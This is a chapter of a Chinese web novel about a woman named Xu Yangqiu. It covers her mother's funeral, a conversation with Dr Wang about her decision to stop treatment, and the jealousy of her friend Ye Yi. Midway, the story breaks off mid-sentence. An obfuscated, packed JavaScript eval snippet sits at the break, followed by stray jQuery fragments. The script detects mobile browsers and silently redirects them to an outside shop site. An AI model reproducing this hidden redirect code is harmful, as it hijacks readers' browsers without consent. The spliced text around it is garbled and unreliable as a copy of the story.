早春时节,原本灰败的草木悄悄抽芽,吐出丝丝缕缕的生机,空气中弥漫着带有泥土气息的芬芳,连雨水都温柔得像雾。
在这样宜人的季节里,在绵密如织的细雨里,在漫长的潮湿中,她与“保险箱”女士的躯壳道别。
许阳秋关于这场葬礼的记忆极其模糊,绝大多数时候,她就像是个等cue的人偶。在叫到她名字的时候,或给钱或收钱或鞠躬,或礼貌地给出对“节哀”两字的回应。
她甚至记不得最后一面的场景。
她甚至觉得,她早就失去了妈妈,只是今天才允许她哀悼。
叶一包揽了绝大部分的安排,联系车和一条龙负责人,遵从各种习俗还有办理手续等等。许阳秋只负责了联系宾客这一项,她用“保险箱”女士的手机群发讣告,又电话联系了一部分关系紧密些的亲朋。
其他事基本都在许阳秋的知识范围以外,但叶一每次都能在她提出问题之前给出解答。
葬礼结束,她拒绝叶一陪着她的提议,浑浑噩噩地独自回家,在家待了两天。
第三天,她接到养护院的电话,才想起“保险箱”女士的东西还在医院放着。
重新回到狭窄的病房,许阳秋不自觉地深吸一口气。
但空气中只有酒精混合着消毒水的味道,再无其他。
许阳秋把那间小病房里里外外地检查了一遍,发现“保险箱”女士的东西少得可怜,连个小小的帆布袋都装不满。
一小袋日用品、几件贴身衣物、几本色彩浮夸的童书,还有一个装杂物的老式铁盒,再没有其他。
那个老式铁盒是钱桂很宝贝的东西,里面装了已经褪色的糖纸、不知道哪个年代的人民币、古早电影票根、老式纽扣等等跟她亲亲老公相关的东西。
许阳秋之前为了让她多说几句话,经常随机从里面抽一样东西出来,听她讲那些让人牙酸的恋爱故事。
这项彼此“折磨”的活动,最后一次进行是在大半年之前。随着时间的推移,这项练习逐渐失去意义,这个铁盒也大半年没被打开过了。
许阳秋没有打开,直接把铁盒子塞进包里,盒子咣啷咣啷地响。
门口刚好有人经过,大约是被咣啷咣啷的声响惊扰,停下脚步看过来。
许阳秋察觉到视线,抬头发现是王医生。
她第无数次听到“节哀”两个字,第无数次得体地感谢。
王医生说完却没走,反而走进来,一副欲言又止的样子。
许阳秋问:“王医生,有事吗?”
“你还好吗?”他语气犹豫,“这才过了几天,你看起来憔悴很多。”
“还好,谢谢关心。”许阳秋有些诧异地说,“我还以为你不太愿意搭理我呢。”
这回换王医生感到诧异,“这话怎么说?”
“我还以为你觉得我就是那种放弃治疗的不孝子,既不肯插胃管,也不肯抢救,所以才一遍又一遍地劝我。”
“那是你想多了,哪个不孝子肯砸出一套内环房子的钱让母亲住养护医院?”王医生说完朝门外看了眼,抬手关上门,压低声音说,“其实我一直想找机会跟你说几句话。”
“说什么?”
“我们是私立医院,追求服务质量,也追求盈利。我们不允许医生跟患者或是家属说丧气话,毕竟能把患者送到这里来的家属,都是真心在意患者,宁可砸钱也要治疗。所以公司制度要求,不能主动提出放弃治疗,就算家属提出,也要再三劝说。”
许阳秋大概猜到了他要说什么,眼眶的酸涩快要压不住。
王医生在她手臂上轻拍两下,柔声说:“做了选择之后,没人能知道另一个选择的结果,所以我没法告诉你,你的选择绝对正确。但是我想跟你说,你是个有勇气的人。很少有人愿意背负这样的罪名,去决定另一个人的命运。多数人都觉得不作为、不决策,那就不会感到罪恶。”
许阳秋深深呼出一口气,抬手揉揉脸。
“这是个很大的决定,很不容易。要是实在过不去,你有我的联系方式,之后也可以找我聊聊。”
她缓了好久才缓缓开口:“谢谢你啊。”声音好哑,她清了清嗓子,“我是需要听到这些的,谢谢。”
从医院出来之后,许阳秋拎着胡乱作响的帆布袋走进车里。
坐进驾驶室后,她从包里掏出那个老式铁盒,把里面的东西一样一样地拿出来看。
几乎每样东西的故事她都听过好几次,
比如那个褪色的糖纸,是许魄托人从国外买的巧克力,每次都会囤一大堆,她吃完就再找人买。那时候没有跨境电商,全靠人肉代购。据说许魄把他有出国机会的朋友、同学都烦了个遍。
后来钱桂吃胖了,这项浩浩荡荡的秀恩爱计划才作罢。
还有那个电影票根,是钱桂主动邀请许魄去看电影,可许魄迟到了几分钟,她就闹了大脾气,最终谁也没看上......
她把零零碎碎的杂物拿出来,脑海里播放着钱桂或清晰或含糊的讲述声。
钱桂的记忆变成她的,铺天盖地。
忽然,她在见底的盒子里看到一张叠成三角形的黄纸。
那是一张道家的黄符,符咒用红色的朱砂勾勒。
“保险箱”女士是她见过最迷信的人,因此这类东西在她家司空见惯。
卧室窗户坏了关不上——有脏东西,请个符贴上。
窗户漏风把许魄吹感冒,快一个月都没好——有脏东西,请个符贴......许魄不让贴脑门,只好烧掉。
甚至许阳秋多跟她顶两句嘴,她都要找道士请个安神符,给她塞到枕头底下。
有时候她甚至怀疑,像许魄这么坚定的无神论者,能跟她过一辈子,纯粹是因为她长得好。
但关于这个符背后的故事,许阳秋却并不知道。
每次问“保险箱”女士,她都紧紧闭着嘴巴,什么都不肯说,只是一个劲儿地笑。
符纸外侧用朱砂写着一串日期,19xx.03.15。
算算时间,那会儿许阳秋不到一岁。
因此许阳秋猜测,这张符大约是钱桂请来保佑他们婚姻幸福,家庭和睦的。
等她看完整个盒子里的所有物件,在回忆里浸泡个够,天已经彻底黑了。
咚、咚。
驾驶室的车窗被人敲响,是王医生。
许阳秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233390|140050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
摇下车窗,这才发现他没穿着那身白大褂,而是换回了日常的衣服。
“你还在这?”说话间,他透过车窗的缝隙看向她的脸,愣了一瞬,接着说,“风大,擦擦眼睛吧,别吹风。”
许阳秋她把后视镜掰过来照了照,才发现自己满脸都是水痕,她抽出一张纸巾擦了擦,跟王医生说声抱歉。
“你还好吗?”王医生满脸担忧。
许阳秋说:“没事,这就回去了。”
王医生温声说:“你这样能开车吗?我送你回去吧,你住哪?”
晚风一吹,她缺氧的大脑传来一阵隐痛,好像确实不太适合开车。
许阳秋报了个街区。
“嗯?”王医生瞪大眼睛,“我也住在那附近,我送你回去吧。”
许阳秋点点头。
王医生颇为体贴地问:“开你的车还是开我的?要不开你的吧,这样省得你再跑一趟。”
王医生实在细心,她确实没有理由再来这里了。
许阳秋让出驾驶室,坐在副驾,真诚地跟王医生道谢。
路上王医生关心了她几句,甚至跟她讲了些“保险箱”女士在医院的事。
说她不爱打针,急了还会哼哼唧唧地跟护士撒娇。
说她破坏力很强,曾经徒手把特质的把手扯下来,扯完还沿着桌线端端正正地摆成一排。
......
许阳秋听了一会,很突然地说:“王医生,你知道钱桂她是个什么样的人吗?”
“你是说她生病以前?”
“对。”
“看不出来。”王医生问,“她是什么样的人?”
“她是那种特别爱美的女人,会看时尚杂志,从小到大都有属于自己的衣帽间。她精致又骄傲,在我十二岁以前,她连生菜和油麦菜都分不清楚。”许阳秋轻声说,“你说我有勇气......但其实不是。我只是猜她应该不愿意这样.......应该吧?”
“别多想。”王医生轻声细语地宽慰她,“你已经做得很好了。”
风声隔着玻璃入耳,恍若温柔的低语。晚风低语环绕车身,送她回家。
王医生很有分寸感地把车停在车库入口,接着就下了车,绕到副驾驶的窗外,半开玩笑地说:“这段路你自己开没问题吧?”
说完他颇为绅士地帮许阳秋拉开车门,她低声道谢,驾车驶入车库。
看到许阳秋车的时候,叶一正拎着买回来的菜往家走。
袋子里没了内脏的石斑鱼仍然在拼命跳动,不知道在挣扎什么。
他站在原地看着王医生从许阳秋的车上下来,看着他为她开门,看着他目送她开入车库。
医生总好过一个无用的人。
一切都想得很清楚,但想归想,甘心归甘心。
叶一的手无视大脑的指令,敲下几个字:
【晚上一起吃饭吗?我会蒸石斑鱼。】
许阳秋许久没有回复。
他在带着寒意的春风里不知等了多久,才收到消息。
【想吃。】
【可是我很累,想自己待一会。】
这下痛快了。
死心了?